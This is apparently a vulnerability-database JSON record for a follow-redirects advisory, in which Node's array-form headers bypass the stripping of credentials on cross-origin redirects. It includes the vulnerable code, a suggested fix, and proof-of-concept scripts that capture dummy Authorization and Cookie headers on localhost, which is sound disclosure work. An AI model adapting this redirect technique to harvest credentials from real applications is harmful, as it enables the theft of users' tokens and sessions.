{"id":"CVE-2026-111756","kind":"vulnerability","aliases":["CVE-2026-111756","GHSA-q3jh-wrc6-jgq8"],"related":[],"title":"follow-redirects array-form headers bypass cross-origin credential stripping","description":"### Summary\nfollow-redirects removes sensitive credential headers (Authorization, Proxy-Authorization, Cookie, and any caller-declared `sensitiveHeaders`) before following a redirect that crosses to a different host or downgrades to a less secure protocol. The removal routine iterates the caller's headers container with `for...in` and matches header names against a filter. This assumes the headers container is a plain object keyed by header names. Node's underlying `http.request`, which follow-redirects is a drop-in replacement for, also accepts headers as an alternating array of names and values. For an array, `for...in` yields the numeric indices `\"0\"`, `\"1\"`, `\"2\"` and so on, which never match a header-name filter, so nothing is removed. An application that sends array-form headers and follows an attacker-controlled cross-origin redirect therefore forwards its Authorization, Cookie, and Proxy-Authorization headers verbatim to the attacker-controlled destination, with no error or warning. The `sensitiveHeaders` option added to fix CVE-2026-40895 / GHSA-r4q5-vmmm-2653 is equally ineffective, because it relies on the same helper. This is an unauthenticated confidentiality vulnerability: any remote server the victim application contacts can harvest the victim's credential headers by responding with a cross-origin redirect.\n\n### Details\nThe cross-origin credential-stripping control is implemented by `removeMatchingHeaders(regex, headers)` at `index.js:630-640`:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n  var lastValue;\n  for (var header in headers) {          // for...in over an ARRAY yields \"0\",\"1\",\"2\"...\n    if (regex.test(header)) {            // the header-name filter never matches a numeric index\n      lastValue = headers[header];\n      delete headers[header];\n    }\n  }\n  return (lastValue === null || typeof lastValue === \"undefined\") ?\n    undefined : String(lastValue).trim();\n}\n```\n\nIt is invoked from `_processResponse` for three purposes, all with the caller-supplied `this._options.headers`:\n\n- `index.js:490` - strip the credential filter (`this._headerFilter`, which covers the built-in list Authorization/Proxy-Authorization/Cookie plus any `sensitiveHeaders`) when the redirect crosses origin or downgrades protocol.\n- `index.js:470` - strip the `Host` header (`/^host$/i`).\n- `index.js:466` - strip `content-*` headers when a 301/302/303 converts POST to GET.\n\nThe caller-supplied headers container is passed straight through to each redirected request via `nativeProtocol.request(this._options)` at `index.js:352`. `_sanitizeOptions` (index.js:300-331) only replaces `options.headers` when it is falsy, so an array is left untouched.\n\nNode's `http.request` accepts `options.headers` as an alternating array of names and values (for example `[\"Authorization\", \"Bearer ...\", \"Cookie\", \"session=...\"]`). This is a supported way to control header ordering and duplication. For such an array, `for (var header in headers)` iterates the numeric indices `\"0\"`, `\"1\"`, `\"2\"`, and the header-name regex never matches any of them, so `removeMatchingHeaders` deletes nothing. Every one of the three strip operations above silently no-ops:\n\n- The built-in credential headers (Authorization, Cookie, Proxy-Authorization) are forwarded to the cross-origin redirect target.\n- Any `sensitiveHeaders` the caller declared are forwarded too.\n- The stale `Host` of the previous origin is re-sent to the new origin.\n- On a POST-to-GET redirect the `content-*` headers are retained, leaving `Content-Length` inconsistent with the now-empty body.\n\nThe primary and highest-impact consequence is disclosure of credential headers. The stale `Host` re-send and the `Content-Length` inconsistency are secondary correctness defects arising from the same root cause.\n\nRoot-cause history: the `for...in`-based `removeMatchingHeaders` used for the built-in credential strip has been present since the cross-host Authorization drop was introduced (commit `724087d`, first released in v1.11.0) and is unchanged through 1.16.0. The `sensitiveHeaders` layer was introduced in 1.16.0 (commit `844c4d3`). The behavior was verified directly on both 1.15.11 and 1.16.0.\n\nSuggested remediation: handle or explicitly reject Node's array-form headers. The strictest fix is to detect `Array.isArray(options.headers)` in `_sanitizeOptions` and throw a clear `TypeError` instructing callers to pass an object, so misuse fails loudly instead of silently downgrading security. If array support is desired, extend `removeMatchingHeaders` to walk the array in name/value pairs:\n\n```js\nfunction removeMatchingHeaders(regex, headers) {\n  if (Array.isArray(headers)) {\n    var lastValue;\n    for (var i = 0; i < headers.length; i += 2) {\n      if (regex.test(headers[i])) { lastValue = headers[i + 1]; headers.splice(i, 2); i -= 2; }\n    }\n    return (lastValue === null || typeof lastValue === \"undefined\") ? undefined : String(lastValue).trim();\n  }\n  // existing object logic\n}\n```\n\nApply the same guard to the `Host` and `content-*` removal paths. Add regression tests that exercise array-form headers across a cross-origin redirect; the current suite only covers object-form headers.\n\nReferences:\n- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653\n- https://github.com/follow-redirects/follow-redirects/commit/724087d696c0bcd55c13ee0f3560c4558138e422\n- https://github.com/follow-redirects/follow-redirects/commit/844c4d3 (sensitiveHeaders option)\n\n### PoC\nEnvironment: Node.js v24.18.0 on Windows 11. The underlying Node array-header behavior is long-standing and not version-specific. Run each script from a checkout of follow-redirects at 1.16.0 so that `require(\"./index.js\")` resolves to the library under test.\n\nPrecondition check (Node accepts and serializes array-form headers):\n```\nnode -e 'var http=require(\"http\");var s=http.createServer((q,r)=>r.end(JSON.stringify(q.headers)));s.listen(0,\"127.0.0.1\",()=>{var p=s.address().port;http.request({hostname:\"127.0.0.1\",port:p,headers:[\"Authorization\",\"Bearer T\",\"Cookie\",\"c=1\"]},res=>{var b=\"\";res.on(\"data\",c=>b+=c);res.on(\"end\",()=>{console.log(JSON.parse(b).authorization, JSON.parse(b).cookie);s.close();});}).end();});'\n```\nObserved: `Bearer T c=1` (the server receives both headers, confirming array form is valid and delivered).\n\nMinimal form (built-in credential list), `arrayleak.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  req.resume();\n  res.writeHead(302, { Location: \"http://127.0.0.1:47302/steal\" });   // cross-origin (different port)\n  res.end();\n});\nvar collector = http.createServer(function (req, res) {\n  res.end(JSON.stringify(req.headers));                                // attacker-controlled target\n});\nredirector.listen(47301, \"127.0.0.1\", function () {\n  collector.listen(47302, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 47301, path: \"/\", method: \"GET\",\n      headers: [\n        \"Host\", \"127.0.0.1:47301\",\n        \"Authorization\", \"Bearer ARRAY-FORM-VICTIM-TOKEN\",\n        \"Cookie\", \"session=ARRAY-FORM-SESSION-ID\",\n        \"X-Custom\", \"harmless\"\n      ]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; });\n      res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"Authorization :\", h.authorization || \"(stripped - OK)\");\n        console.log(\"Cookie        :\", h.cookie || \"(stripped - OK)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0 and 1.15.11):\n```\nAuthorization : Bearer ARRAY-FORM-VICTIM-TOKEN     <- credential LEAKED cross-origin\nCookie        : session=ARRAY-FORM-SESSION-ID      <- credential LEAKED cross-origin\n```\nControl: replacing `headers` with the equivalent object `{ Host: ..., Authorization: ..., Cookie: ... }` and re-running strips both correctly, proving the strip branch executes and only the array iteration defeats it.\n\nCombined form (built-in list plus the 1.16.0 `sensitiveHeaders` fix, all defeated in one request), `combined.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n  req.resume();\n  res.writeHead(302, { Location: \"http://127.0.0.1:47402/steal\" });\n  res.end();\n});\nvar collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nredirector.listen(47401, \"127.0.0.1\", function () {\n  collector.listen(47402, \"127.0.0.1\", function () {\n    followRedirects.http.request({\n      hostname: \"127.0.0.1\", port: 47401, path: \"/\", method: \"GET\",\n      headers: [\n        \"Host\", \"127.0.0.1:47401\",\n        \"Authorization\", \"Bearer BUILTIN-VICTIM-TOKEN\",\n        \"Cookie\", \"session=BUILTIN-SESSION-ID\",\n        \"X-API-Key\", \"DECLARED-VICTIM-KEY\"\n      ],\n      sensitiveHeaders: [\"X-API-Key\"]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; }); res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"Authorization (built-in list) :\", h.authorization || \"(stripped - OK)\");\n        console.log(\"Cookie (built-in list)        :\", h.cookie || \"(stripped - OK)\");\n        console.log(\"X-API-Key (sensitiveHeaders)  :\", h[\"x-api-key\"] || \"(stripped - OK)\");\n        redirector.close(); collector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0):\n```\nAuthorization (built-in list) : Bearer BUILTIN-VICTIM-TOKEN     <- LEAKED\nCookie (built-in list)        : session=BUILTIN-SESSION-ID      <- LEAKED\nX-API-Key (sensitiveHeaders)  : DECLARED-VICTIM-KEY             <- LEAKED (the CVE-2026-40895 fix defeated)\n```\n\nProtocol-downgrade branch (credentials transit in cleartext), `downgrade.js`, using the repository's own test certificate at `test/assets/`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\"); var https = require(\"https\"); var fs = require(\"fs\");\nvar opts = { key: fs.readFileSync(\"test/assets/localhost.key\"), cert: fs.readFileSync(\"test/assets/localhost.crt\") };\nvar ca = fs.readFileSync(\"test/assets/ca.crt\");\nvar httpsOrigin = https.createServer(opts, function (req, res) {\n  req.resume(); res.writeHead(302, { Location: \"http://localhost:47502/steal\" }); res.end();\n});\nvar httpCollector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nhttpsOrigin.listen(47501, \"localhost\", function () {\n  httpCollector.listen(47502, \"localhost\", function () {\n    followRedirects.https.request({\n      hostname: \"localhost\", port: 47501, path: \"/\", method: \"GET\", ca: ca,\n      headers: [\"Host\", \"localhost:47501\", \"Authorization\", \"Bearer DOWNGRADE-TOKEN\", \"Cookie\", \"session=DOWNGRADE-SESSION\"]\n    }, function (res) {\n      var body = \"\"; res.on(\"data\", function (c) { body += c; });\n      res.on(\"end\", function () {\n        var h = JSON.parse(body);\n        console.log(\"Authorization :\", h.authorization || \"(stripped - OK)\");\n        console.log(\"Cookie        :\", h.cookie || \"(stripped - OK)\");\n        httpsOrigin.close(); httpCollector.close();\n      });\n    }).end();\n  });\n});\n```\nObserved output (1.16.0): both credentials received at the plaintext HTTP target after an HTTPS-to-HTTP redirect, meaning they transit unencrypted and are harvestable by any on-path network observer, not only the redirect destination.\n\nSide-effect verification (stale Host re-sent, Content-Length inconsistent): a POST request with array-form headers and a 13-byte body that receives a 302 to a different origin was observed to arrive at the new origin as a GET carrying the stale `Host` of the first origin and `Content-Length: 13` despite an empty body.\n\n### Impact\nThis is an information-disclosure vulnerability: silent failure of the cross-origin credential-header stripping control. Who is impacted: any application, or upstream library, that calls follow-redirects with Node's array-form headers (used to control header ordering or duplication) and follows a redirect whose target is controlled or compromised by an attacker. When triggered, the victim's Authorization, Cookie, and Proxy-Authorization headers, and any headers declared through the `sensitiveHeaders` option, are disclosed to the attacker-controlled destination. In the protocol-downgrade case the credentials additionally traverse the network in cleartext, exposing them to on-path observers. No authentication or user interaction is required of the attacker beyond controlling a redirect target the victim already contacts. The control that is defeated is the same one that prior advisories in this library (CVE-2022-0155, CVE-2022-0536, CVE-2026-40895 / GHSA-r4q5-vmmm-2653) were issued to establish and harden.","summary":"follow-redirects does not strip Authorization, Cookie, Proxy-Authorization or sensitiveHeaders when the caller passes headers as Node's alternating name/value array, so a cross-origin or HTTPS-to-HTTP redirect forwards those credentials to the redirect target. Any remote server the application contacts can capture them by answering with a redirect.","severity":"high","cvss":8.2,"epss":0.003650000086054206,"exploited":false,"exploited_at":null,"products":[{"name":"follow-redirects","fixed":["1.16.1"],"affected":">= 1.16.0, < 1.16.1","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["axios","cwe-200","cwe-212","follow-redirects","node","npm","package","self-hosted"],"not_affected_if":["headers-passed-as-object","no-redirect-following-with-credentials","version-1.16.1-or-later","version-below-1.16.0"],"how_to_check":"Search the codebase and lockfiles for follow-redirects: run `npm ls follow-redirects` and look for versions >= 1.16.0 and < 1.16.1.\nCheck whether any code calls follow-redirects http/https request with headers passed as an array (e.g. headers: [\"Authorization\", ...]) rather than an object.","fix":"Upgrade follow-redirects to 1.16.1 or later.\nUntil upgraded, pass headers as a plain object instead of an array, or avoid following redirects for requests that carry credentials.","status":"open","published_at":"2026-10-20T17:58:04+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","triaged_at":"2026-10-23T20:13:37+00:00","updated_at":"2026-10-23T21:57:21+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-10-23T20:13:37Z","model":"claude-haiku-5-5","output":{"fix":"Upgrade follow-redirects to 1.16.1 or later.\nUntil upgraded, pass headers as a plain object instead of an array, or avoid following redirects for requests that carry credentials.","summary":"follow-redirects does not strip Authorization, Cookie, Proxy-Authorization or sensitiveHeaders when the caller passes headers as Node's alternating name/value array, so a cross-origin or HTTPS-to-HTTP redirect forwards those credentials to the redirect target. Any remote server the application contacts can capture them by answering with a redirect.","category":"package","who_cares":["npm","node","follow-redirects","axios","self-hosted"],"confidence":0.8,"analyst_note":"Confirm whether axios and other common HTTP clients that wrap follow-redirects expose the array-form header path to application code, via https://github.com/advisories/GHSA-q3jh-wrc6-jgq8.","how_to_check":"Search the codebase and lockfiles for follow-redirects: run `npm ls follow-redirects` and look for versions >= 1.16.0 and < 1.16.1.\nCheck whether any code calls follow-redirects http/https request with headers passed as an array (e.g. headers: [\"Authorization\", ...]) rather than an object.\nunknown for any other detection method in the sources.","needs_analyst":true,"not_affected_if":["version-below-1.16.0","version-1.16.1-or-later","headers-passed-as-object","no-redirect-following-with-credentials"],"severity_if_unknown":"high"},"cost_usd":0.000932,"input_tokens":6652,"output_tokens":533,"severity_before":"high"},"analyst_status":null,"analyst_note":null,"search":"'-111756':16A,24A '-200':30B '-2026':15A,23A,266C '-212':32B '-331':458C '-40895':267C '-640':328C '/i':425C '0':201C,347C,515C '1':202C,348C,516C '2':203C,349C,517C '2653':272C '301/302/303':432C '724087d':675C 'accept':182C,475C 'add':262C 'also':181C 'altern':63B,186C,479C 'answer':94B 'applic':88B,220C,294C 'aris':639C 'array':5A,65B,187C,194C,224C,345C,468C,480C,505C 'array-form':4A,223C 'assum':154C 'attack':231C,251C 'attacker-control':230C,250C 'author':48B,52B,106C,109C,240C,245C,487C,551C,555C,670C 'authorization/proxy-authorization/cookie':407C 'axio':28B 'base':652C 'bearer':488C 'bodi':610C 'built':404C,547C,658C 'built-in':403C,546C,657C 'bypass':8A 'caller':57B,114C,139C,391C,439C,568C 'caller-declar':113C 'caller-suppli':390C,438C 'captur':91B 'caus':644C,647C 'commit':674C 'confidenti':287C 'consequ':617C 'contact':89B,295C 'contain':142C,157C,442C 'content':428C,596C,602C,632C 'content-length':601C,631C 'control':232C,252C,319C,497C 'convert':433C 'cooki':49B,110C,241C,489C,552C 'correct':637C 'cover':401C 'credenti':12A,79B,104C,301C,317C,397C,549C,621C,660C 'credential-strip':316C 'cross':10A,69B,122C,234C,308C,314C,414C,561C,668C 'cross-host':667C 'cross-origin':9A,68B,233C,307C,313C,560C 'cve':14A,22A,265C 'cwe':29B,31B 'declar':115C,569C 'defect':638C 'delet':366C,531C 'destin':253C 'detail':311C 'differ':125C 'disclosur':619C 'downgrad':128C,417C 'drop':177C,671C 'drop-in':176C 'duplic':501C 'empti':609C 'equal':274C 'error':256C 'everi':533C 'exampl':486C 'falsi':465C 'filter':152C,214C,357C,398C 'first':676C 'fix':264C 'follow':2A,26A,34B,43B,100C,118C,172C,228C 'follow-redirect':1A,33B,42B,99C,171C 'follow-redirects':25A 'form':6A,225C 'forward':77B,238C,557C,571C 'function':330C 'get':436C,593C 'ghsa':18A,269C 'ghsa-q3jh-wrc6-jgq8':17A 'ghsa-r4q5-vmmm':268C 'harvest':297C 'header':7A,59B,105C,141C,148C,156C,164C,183C,212C,226C,246C,302C,325C,333C,338C,340C,352C,355C,364C,365C,367C,368C,423C,429C,441C,498C,508C,510C,521C,550C,597C,622C 'header-nam':211C,354C,520C 'helper':282C 'highest':615C 'highest-impact':614C 'histori':648C 'host':41B,126C,422C,424C,575C,625C,669C 'http':75B 'http.request':169C,474C 'https':73B 'https-to-http':72B 'impact':616C 'implement':321C 'inconsist':604C,634C 'index':362C 'index.js:300':457C 'index.js:352':455C 'index.js:466':426C 'index.js:470':419C 'index.js:490':394C 'index.js:630':327C 'indic':200C,514C 'ineffect':275C 'introduc':673C 'invok':381C 'iter':137C,511C 'jgq8':21A 'js':329C 'key':162C 'lastvalu':335C,363C,370C,373C,377C 'leav':600C 'left':470C 'length':603C,633C 'less':131C 'list':406C 'match':147C,209C,359C,525C 'name':149C,165C,189C,213C,356C,482C,522C 'name/value':64B 'nativeprotocol.request':452C 'never':208C,358C,524C 'new':586C 'no-op':542C 'node':36B,61B,166C,472C 'noth':216C,532C 'now-empti':607C 'npm':37B 'null':371C 'numer':199C,361C,513C 'object':161C 'one':534C 'op':544C 'oper':539C 'option':261C 'options.headers':461C,476C 'order':499C 'origin':11A,70B,235C,309C,315C,415C,562C,579C,587C 'packag':38B 'pass':58B,444C 'plain':160C 'plus':408C 'post':434C,591C 'post-to-get':590C 'present':664C 'previous':578C 'primari':612C 'processrespons':383C 'protocol':133C,418C 'proxi':51B,108C,244C,554C 'proxy-author':50B,107C,243C,553C 'purpos':386C 'q3jh':19A 'r4q5':270C 're':582C,627C 're-send':626C 're-sent':581C 'redirect':3A,35B,44B,76B,82B,97B,101C,120C,173C,236C,310C,413C,449C,563C,594C 'redirects':27A 'regex':324C,332C,523C 'regex.test':351C 'reli':278C 'remot':85B,290C 'remov':102C,135C,218C 'removematchinghead':323C,331C,530C,653C 'replac':179C,460C 'request':450C 'respond':304C 'retain':599C 'return':369C 'root':643C,646C 'root-caus':645C 'routin':136C 'sanitizeopt':456C 'secondari':636C 'secur':132C 'self':40B 'self-host':39B 'send':222C,628C 'sensit':103C 'sensitivehead':54B,116C,260C,410C,566C 'sent':583C 'server':86B,291C 'session':490C 'silent':541C 'sinc':665C 'stale':574C,624C 'straight':445C 'string':376C 'strip':13A,47B,318C,395C,420C,427C,538C,661C 'summari':98C 'suppli':392C,440C 'support':494C 'target':83B,564C 'therefor':237C 'this._headerfilter':399C 'this._options':453C 'this._options.headers':393C 'three':385C,537C 'trim':378C 'typeof':372C 'unauthent':286C 'undefin':374C,375C 'under':168C 'untouch':471C 'use':654C 'valu':191C,484C 'var':334C,337C,507C 'verbatim':247C 'via':451C 'victim':293C,299C 'vmmm':271C 'vulner':288C 'warn':258C 'way':495C 'wrc6':20A 'yield':197C,346C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"first_public_at":"2026-10-20T17:58:04+00:00","kev":null,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cvss_by":"security-advisories@github.com","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-q3jh-wrc6-jgq8","url":"https://github.com/advisories/GHSA-q3jh-wrc6-jgq8","severity":"high","published_at":"2026-10-20T17:58:04+00:00","modified_at":"2026-10-20T17:58:08+00:00","first_seen_at":"2026-10-23T19:11:32+00:00","fetched_at":"2026-10-23T19:11:32+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-111756","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111756","severity":null,"published_at":"2026-10-20T18:17:18+00:00","modified_at":"2026-10-23T02:16:54+00:00","first_seen_at":"2026-10-23T21:57:21+00:00","fetched_at":"2026-10-23T22:28:58+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}